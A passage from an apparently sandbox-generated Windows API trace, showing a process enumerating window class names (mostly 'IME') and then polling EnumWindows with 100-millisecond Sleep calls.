hWnd=0x103a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x10398, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x10396, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x10394, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x10392, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x10390, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x10386, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x10384, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x10382, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x10380, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x10360, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x10358, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x10344, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.685] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x10338, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x1032e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x1032a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x10322, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x1031a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x10318, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x10314, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x10306, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102c2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.686] GetClassNameA (in: hWnd=0x102b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10294, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10292, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10290, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x1028e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x1028a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10288, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10286, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10284, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x1027c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10274, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x1026e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10266, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10260, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10258, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10252, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.687] GetClassNameA (in: hWnd=0x10244, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x10222, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x4014e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0110.688] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x6033c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x20040, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] GetClassNameA (in: hWnd=0x10070, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.688] Sleep (dwMilliseconds=0x64) [0110.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0110.814] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0110.814] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0110.814] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0110.814] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.814] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.814] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.815] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.815] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.815] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0110.815] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.815] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.815] Sleep (dwMilliseconds=0x64) [0110.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0110.926] Sleep (dwMilliseconds=0x64) [0111.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0111.074] Sleep (dwMilliseconds=0x64) [0111.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0111.193] Sleep (dwMilliseconds=0x64) [0111.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0111.333] Sleep (dwMilliseconds=0x64) [0111.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0111.505] Sleep (dwMilliseconds=0x64) [0111.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0111.701] Sleep (dwMilliseconds=0x64) [0111.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0111.887] Sleep (dwMilliseconds=0x64) [0111.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0111.989] Sleep (dwMilliseconds=0x64) [0112.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.102] Sleep (dwMilliseconds=0x64) [0112.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.233] Sleep (dwMilliseconds=0x64) [0112.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.372] Sleep (dwMilliseconds=0x64) [0112.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.475] Sleep (dwMilliseconds=0x64) [0112.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.592] Sleep (dwMilliseconds=0x64) [0112.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.726] Sleep (dwMilliseconds=0x64) [0112.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.849] Sleep (dwMilliseconds=0x64) [0112.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0112.972] Sleep (dwMilliseconds=0x64) [0113.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0113.073] Sleep (dwMilliseconds=0x64) [0113.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0113.254] Sleep (dwMilliseconds=0x64) [0113.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0113.539] Sleep (dwMilliseconds=0x64) [0113.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0113.689] Sleep (dwMilliseconds=0x64) [0113.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0113.830] Sleep (dwMilliseconds=0x64) [0113.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0113.987] Sleep (dwMilliseconds=0x64) [0114.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0114.105] Sleep (dwMilliseconds=0x64) [0114.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0114.213] Sleep (dwMilliseconds=0x64) [0114.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0114.314] Sleep (dwMilliseconds=0x64) [0114.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0114.464] Sleep (dwMilliseconds=0x64) [0114.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0114.724] Sleep (dwMilliseconds=0x64) [0114.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0114.847] Sleep (dwMilliseconds=0x64) [0114.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0114.948] Sleep (dwMilliseconds=0x64) [0115.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0115.100] Sleep (dwMilliseconds=0x64) [0115.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0115.261] Sleep (dwMilliseconds=0x64) [0115.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0115.403] Sleep (dwMilliseconds=0x64) [0115.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0115.528] Sleep (dwMilliseconds=0x64) [0115.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0115.712] Sleep (dwMilliseconds=0x64) [0115.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0115.921] Sleep (dwMilliseconds=0x64) [0116.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0116.154] Sleep (dwMilliseconds=0x64) [0116.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0116.268] Sleep (dwMilliseconds=0x64) [0116.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0116.385] Sleep (dwMilliseconds=0x64) [0116.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0116.526] Sleep (dwMilliseconds=0x64) [0116.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0116.644] Sleep (dwMilliseconds=0x64) [0116.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0116.744] Sleep (dwMilliseconds=0x64) [0116.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0116.921] Sleep (dwMilliseconds=0x64) [0117.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.092] Sleep (dwMilliseconds=0x64) [0117.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.260] Sleep (dwMilliseconds=0x64) [0117.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.361] Sleep (dwMilliseconds=0x64) [0117.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.474] Sleep (dwMilliseconds=0x64) [0117.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.587] Sleep (dwMilliseconds=0x64) [0117.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.723] Sleep (dwMilliseconds=0x64) [0117.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.824] Sleep (dwMilliseconds=0x64) [0117.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0117.961] Sleep (dwMilliseconds=0x64) [0118.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0118.084] Sleep (dwMilliseconds=0x64) [0118.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0118.233] Sleep (dwMilliseconds=0x64) [0118.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0118.543] Sleep (dwMilliseconds=0x64) [0118.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0118.665] Sleep (dwMilliseconds=0x64) [0118.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0118.772] Sleep (dwMilliseconds=0x64) [0118.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0118.886] Sleep (dwMilliseconds=0x64) [0118.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0118.990] Sleep (dwMilliseconds=0x64) [0119.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0119.095] Sleep (dwMilliseconds=0x64) [0119.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0119.207] Sleep (dwMilliseconds=0x64) [0119.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0119.490] Sleep (dwMilliseconds=0x64) [0119.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0119.590] Sleep (dwMilliseconds=0x64) [0119.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0119.714] Sleep (dwMilliseconds=0x64) [0119.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0119.841] Sleep (dwMilliseconds=0x64) [0119.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0119.953] Sleep (dwMilliseconds=0x64) [0120.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.088] Sleep (dwMilliseconds=0x64) [0120.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.208] Sleep (dwMilliseconds=0x64) [0120.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.344] Sleep (dwMilliseconds=0x64) [0120.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.460] Sleep (dwMilliseconds=0x64) [0120.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.567] Sleep (dwMilliseconds=0x64) [0120.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.732] Sleep (dwMilliseconds=0x64) [0120.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.878] Sleep (dwMilliseconds=0x64) [0120.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0120.985] Sleep (dwMilliseconds=0x64) [0121.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.086] Sleep (dwMilliseconds=0x64) [0121.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.188] Sleep (dwMilliseconds=0x64) [0121.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.290] Sleep (dwMilliseconds=0x64) [0121.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.390] Sleep (dwMilliseconds=0x64) [0121.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.491] Sleep (dwMilliseconds=0x64) [0121.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.608] Sleep (dwMilliseconds=0x64) [0121.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.709] Sleep (dwMilliseconds=0x64) [0121.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.811] Sleep (dwMilliseconds=0x64) [0121.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0121.912] Sleep (dwMilliseconds=0x64) [0122.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.013] Sleep (dwMilliseconds=0x64) [0122.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.127] Sleep (dwMilliseconds=0x64) [0122.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.228] Sleep (dwMilliseconds=0x64) [0122.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.328] Sleep (dwMilliseconds=0x64) [0122.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.429] Sleep (dwMilliseconds=0x64) [0122.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.530] Sleep (dwMilliseconds=0x64) [0122.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.631] Sleep (dwMilliseconds=0x64) [0122.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.732] Sleep (dwMilliseconds=0x64) [0122.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.832] Sleep (dwMilliseconds=0x64) [0122.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0122.933] Sleep (dwMilliseconds=0x64) [0123.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.034] Sleep (dwMilliseconds=0x64) [0123.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.135] Sleep (dwMilliseconds=0x64) [0123.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.256] Sleep (dwMilliseconds=0x64) [0123.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.357] Sleep (dwMilliseconds=0x64) [0123.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.460] Sleep (dwMilliseconds=0x64) [0123.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.562] Sleep (dwMilliseconds=0x64) [0123.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.662] Sleep (dwMilliseconds=0x64) [0123.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.763] Sleep (dwMilliseconds=0x64) [0123.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.864] Sleep (dwMilliseconds=0x64) [0123.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0123.965] Sleep (dwMilliseconds=0x64) [0124.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.070] Sleep (dwMilliseconds=0x64) [0124.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.171] Sleep (dwMilliseconds=0x64) [0124.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.273] Sleep (dwMilliseconds=0x64) [0124.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.375] Sleep (dwMilliseconds=0x64) [0124.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.476] Sleep (dwMilliseconds=0x64) [0124.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.579] Sleep (dwMilliseconds=0x64) [0124.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.679] Sleep (dwMilliseconds=0x64) [0124.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.781] Sleep (dwMilliseconds=0x64) [0124.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0124.881] Sleep (dwMilliseconds=0x64) [0125.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.022] Sleep (dwMilliseconds=0x64) [0125.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.123] Sleep (dwMilliseconds=0x64) [0125.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.373] Sleep (dwMilliseconds=0x64) [0125.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.474] Sleep (dwMilliseconds=0x64) [0125.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.587] Sleep (dwMilliseconds=0x64) [0125.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.688] Sleep (dwMilliseconds=0x64) [0125.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.790] Sleep (dwMilliseconds=0x64) [0125.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.891] Sleep (dwMilliseconds=0x64) [0125.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0125.992] Sleep (dwMilliseconds=0x64) [0126.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.094] Sleep (dwMilliseconds=0x64) [0126.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.196] Sleep (dwMilliseconds=0x64) [0126.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.300] Sleep (dwMilliseconds=0x64) [0126.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.401] Sleep (dwMilliseconds=0x64) [0126.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.502] Sleep (dwMilliseconds=0x64) [0126.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.602] Sleep (dwMilliseconds=0x64) [0126.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.703] Sleep (dwMilliseconds=0x64) [0126.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.806] Sleep (dwMilliseconds=0x64) [0126.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0126.907] Sleep (dwMilliseconds=0x64) [0127.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.044] Sleep (dwMilliseconds=0x64) [0127.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.146] Sleep (dwMilliseconds=0x64) [0127.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.248] Sleep (dwMilliseconds=0x64) [0127.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.350] Sleep (dwMilliseconds=0x64) [0127.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.451] Sleep (dwMilliseconds=0x64) [0127.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.552] Sleep (dwMilliseconds=0x64) [0127.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.653] Sleep (dwMilliseconds=0x64) [0127.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.771] Sleep (dwMilliseconds=0x64) [0127.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.882] Sleep (dwMilliseconds=0x64) [0127.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0127.988] Sleep (dwMilliseconds=0x64) [0128.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0128.106] Sleep (dwMilliseconds=0x64) [0128.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0128.245] Sleep (dwMilliseconds=0x64) [0128.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0128.372] Sleep (dwMilliseconds=0x64) [0128.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0128.473] Sleep (dwMilliseconds=0x64) [0128.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0128.587] Sleep (dwMilliseconds=0x64) [0128.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0128.840] Sleep (dwMilliseconds=0x64) [0128.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0128.989] Sleep (dwMilliseconds=0x64) [0129.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0129.090] 